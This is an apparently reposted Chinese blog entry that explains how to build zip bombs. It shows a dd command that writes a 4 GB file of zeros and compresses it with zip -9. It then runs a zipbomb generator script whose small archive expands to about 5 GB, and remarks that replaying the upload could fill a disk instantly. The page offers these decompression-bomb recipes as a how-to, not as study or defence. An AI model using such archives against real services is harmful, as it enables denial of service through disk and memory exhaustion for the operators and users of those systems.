html tool

2021年4月27日星期二

转:zip 炸弹的制作

 参考:

https://blog.csdn.net/Fantasy_Boyce/article/details/107574391

使用dd

文件制作

进入Linux系统终端,输入如下命令。


dd if=/dev/zero count=$((1024*1024)) bs=4096 of=/home/bombfile.txt

1

命令解释:


if=源文件名,如果没有文件内容要求,可以指定为系统自带的0源文件,制作好的文件内容也会是0。

count=blocks,拷贝blocks个数据块,块大小取决于bs或ibs指定的字节数。

bs=bytes,同时设置输入/输出的数据块大小是bytes个字节。

of=输出文件名,自己任取。



再输入如下命令,稍等一会儿,一个高压缩比的zip文件就制作好了。


zip -9 bombfile.zip bombfile.txt

1

命令解释:


-9:设置压缩级别,9最大,1最小。

bombfile.zip:输出压缩文件名

bombfile.txt:压缩源文件


可以查看下生成的zip文件属性信息。

参考:

http://vulsee.com/archives/vulsee_2019/0815_8634.html

1、生成ZIP炸弹:

https://github.com/CreeperKong/zipbomb-generator

python3 zipbomb.py --mode=quoted_overlap --num-files=250 --compressed-size=21179 > zbsm.zip

–num-files :压缩包包含的文件数量

–compressed-size:文件压缩大小

可以看到生成了一个zbsm.zip的压缩包,其中包含250个约20M大小的子文件,全部解压出来即有5G的大小,如果可以重放,则瞬间可填满硬盘

没有评论:

发表评论